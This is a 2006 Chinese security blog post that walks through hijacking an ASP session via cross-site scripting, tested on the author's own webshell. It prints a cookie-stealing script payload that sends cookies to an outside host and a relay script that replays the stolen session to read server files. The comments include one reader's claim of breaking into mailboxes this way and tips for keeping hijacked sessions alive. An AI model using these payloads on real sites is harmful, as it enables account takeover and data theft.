lake2的专栏

千秋邈矣独留我,百战归来再读书

lake2ID:lake2
213787次访问,排名289好友0人,关注者5
lake2的文章
原创 65 篇
翻译 0 篇
转载 0 篇
评论 573 篇
lake2的公告
好好学习
最近评论
mohroq:wow gold,
asd1220:那这么说,是不是微软的IE浏览器用户不会被CSRF所攻击呢?是不是只要将连接从新的窗口里打开就可以避免CSRF攻击呢?

PS:这个不会成为遭受木马攻击的一种途径吧?
flysont:用诺基亚1116
gghhyy:和《web 入侵 安全测试与对策》内容一致!
gghhyy:<web 入侵安全测试与对策>中会话劫持一节。
和你说的好像100%一致啊!
文章分类
收藏
    相册
    文章相关
    文章相关2
    About
    0x54.org
    Defence80
    个人主页
    Friends
    BaiShi(RSS)
    kuhanzhu
    lanker
    lis0
    LoveShell
    NetSnow
    Niklen
    p4nny
    SuperHei
    全金属外壳
    剑行天下
    听风吹雨
    烟花剑客
    Online
    CSDN Search
    Google
    Microsoft Search
    Query sth.
    Technology
    CSDN.net
    Eviloctal Forum
    nsfocus
    Ph4nt0m
    xfocus
    World
    凯迪社区
    新浪读书
    网易新闻
    存档
    软件项目交易
    订阅我的博客
    XML聚合  FeedSky
    订阅到鲜果
    订阅到Google
    订阅到抓虾
    订阅到BlogLines
    订阅到Yahoo
    订阅到GouGou
    订阅到飞鸽
    订阅到Rojo
    订阅到newsgator
    订阅到netvibes

    原创 跨站实现HTTP会话劫持收藏

    新一篇: Serv-U本地权限提升的ASP实现 | 旧一篇: 假作真时真亦假——“真实”IP带来的安全隐患

    Authorlake2 (http://lake2.0x54.org)

     

    Web应用程序是通过2种方式来判断和跟踪不同用户的:Cookie或者Session(也叫做会话型Cookie)。其中Cookie是存储在本地计算机上的,过期时间很长,所以针对Cookie的攻击手段一般是盗取用户Cookie然后伪造Cookie冒充该用户;而Session由于其存在于服务端,随着会话的注销而失效(很快过期),往往难于利用。所以一般来说Session认证较之Cookie认证安全。

    当然啦,Session难于利用并不等于不能利用,本文将通过一个小小的例子实现一次简单的HTTP会话劫持。

    还是以ASP为例,ASP程序是如何得到客户端Session的呢?通过抓包可以发现HTTP请求的Cookie字段有个ASPSESSIONIDXXXXXXXXX是随机的字母)值,ASP程序就是通过这个值判断Session的。如果我们得到管理员的ASPSESSIONIDXXXXXXXX及其值,并在这次会话结束之前提交到服务器,那么我们的身份就是管理员啦!

    那怎么得到Session呢?答案是跨站。因为JavaScriptdocument.cookie()方法会把Cookie读出来,当然也包括会话型Cookie

    如果你关注Web安全,相信你一定看到过记录跨站得到Cookie的脚本程序,我们也需要一个类似的程序,但功能不是记录,而是立即转发(因为当前会话随时可能由于管理员退出而失效)。这个程序可以用ASPPHPPerl甚至C来实现,我还是用ASPJ

    要写这个程序,你还必须对要攻击的程序相当了解,因为你要提交各种请求。那现在先看看本例中被跨站的程序吧。

    很荣幸,我选中了WebAdmin 1.4,嘿嘿,自己写的程序自己肯定最清楚哪里有漏洞啊。呵呵,简要介绍一下,WebAdmin是一个ASP.Net下的webshell,使用的Session认证方式,1.4版本的跨站存在于目录浏览的URL(图1)。

     

     

    所以我就在src中构造这样的路径:“E:<script>a='<iframe width=0 height=0 src=http://www.0x54.org/test/cc.asp?a=';a%2B=escape(document.cookie);a%2B='></iframe>';document.write(a);</script>”。这段代码就是把当前cookie作为参数提交给www.0x54.org/test/cc.asp文件。

    cc.asp文件内容如下:

     

    <%

    'only for test with CSS

    str = request("a")

    Set xPost = CreateObject("Msxml2.ServerXMLHTTP")

    xPost.Open "GET", "http://222.210.115.125:813/webadmin.aspx?action=edit&src=E:\MyWeb\webadmin.aspx", False

    xPost.setRequestHeader "Cookie",str

    xPost.Send()

             Set sGet = CreateObject("ADODB.Stream")

             sGet.Mode = 3

             sGet.Type = 1

             sGet.Open()

             sGet.Write(xPost.responseBody)

             sGet.SaveToFile Server.MapPath("a.txt"),2

             set sGet = nothing

    Set xPOST=nothing

    %>

     

    该文件目的是获取管理员Session并利用WebAdmin的文件编辑功能查看222.210.115.125(被攻击的Web服务器,其实是我本机啦)的E:\MyWeb\webadmin.aspx文件内容并把内容保存到本地的a.txt文件中。数据的提交使用的是ServerXMLHTTP组件,它与XMLHTTP有相似之处,也有异同,具体的可以看看《ServerXMLHTTP vs XMLHTTP》。

    准备就绪,先登陆WebAdmin然后再访问构造好的跨站URL,呵呵,然后去看http://www.0x54.org/test/a.txt,得到内容如下图所示:

     

     

    你也可以试试直接访问cc.asp,呵呵,生成的a.txt将是一个登陆界面的源文件。

    哈哈,现在热烈庆祝一下本次HTTP会话劫持测试胜利闭幕,总的来说实行一次这样的攻击难度还是很大的,不过话又说回来,在技术这块领域,除了Copy人家的代码,还有不需要努力就能做好的事情吗?

     

    发表于 @ 2006年07月09日 23:59:00|评论(loading...)|编辑

    新一篇: Serv-U本地权限提升的ASP实现 | 旧一篇: 假作真时真亦假——“真实”IP带来的安全隐患

    评论

    #剑心 发表于2006-07-10 13:14:00  IP: 218.8.63.*
    嘿嘿
    我就是这样进16*那些邮箱的,如果程序严谨点,将IP作为判断的一部分
    就好难的说
    #剑心 发表于2006-07-14 18:57:00  IP: 222.170.111.*
    @_@
    我,我,我真的是个菜鸟,我不知道当菜鸟还要回答这么多问题
    #janker 发表于2006-07-14 15:36:00  IP: 219.134.225.*
    剑心,那你干嘛不比lake2早一点发表呀,不舍得和别人分享,再厉害的技术也是枉然。
    #janker 发表于2006-07-17 09:33:00  IP: 59.40.27.*
    呵呵,在这里可没有谁要你回答问题的。有点自作多情哦。这里可不是你的窝的。
    #haudboy 发表于2006-07-18 01:40:00  IP: 61.157.223.*
    路过学习来的。。。谢谢分享!
    #Trace 发表于2006-07-18 05:14:00  IP: 218.3.165.*
    我测试的126邮箱(用我自己的),得到了cookie,但是往下走显得有点困难了,继续读,继续学习,呵呵
    不懂的地方还要叨扰你啊
    #剑心 发表于2006-07-18 08:03:00  IP: 222.170.123.*
    -_-!汗
    #剑心 发表于2006-07-18 08:05:00  IP: 222.170.123.*
    这样还有的一个缺点就是不熟悉目标地址的结构时候,就是不能构造出你的目标URL的时候,好象就不好用了,不如偷取session然后在浏览器里替换,但是那样时效性又没了.....唉
    #lake2 发表于2006-07-18 09:13:00  IP: 220.166.84.*
    呵呵,不是我不装,是我没那个实力嘛,55555555
    剑心所说实效性的问题,呵呵,简单啦,可以用XMLHTTP得到session后一直刷新刷新,维持session存在,直到人来手工,哈哈
    #剑心 发表于2006-07-18 09:17:00  IP: 222.170.123.*
    汗下
    不是说得到session一直刷呀,譬如人家进后台,然后他事做完了,他一退出,你刷也米有用了
    还有 我哪里装B了呀 真是晕
    #lake2 发表于2006-07-18 09:24:00  IP: 220.166.84.*
    哦哦,对哈,如果他退出就没的玩。如果他直接关浏览器就有的玩。呵呵,所以大家走人的时候一定要记得点退出呀!
    #Trace 发表于2006-07-18 14:20:00  IP: 221.2.87.*
    晕,不是说你啊剑心
    我是说一些人
    呵呵
    貌似这个session的特性决定了进到邮箱的成功率很低了
    #wafer_lee 发表于2007-09-01 00:42:14  IP: 58.241.21.*
    万分崇拜。
    #gghhyy 发表于2008-05-07 16:55:17  IP: 222.190.119.*
    <web 入侵安全测试与对策>中会话劫持一节。
    和你说的好像100%一致啊!
    #gghhyy 发表于2008-05-07 16:58:56  IP: 222.190.119.*
    和《web 入侵 安全测试与对策》内容一致!
    发表评论  


    当前用户设置只有注册用户才能发表评论。如果你没有登录,请点击登录
    Csdn Blog version 3.1a
    Copyright © lake2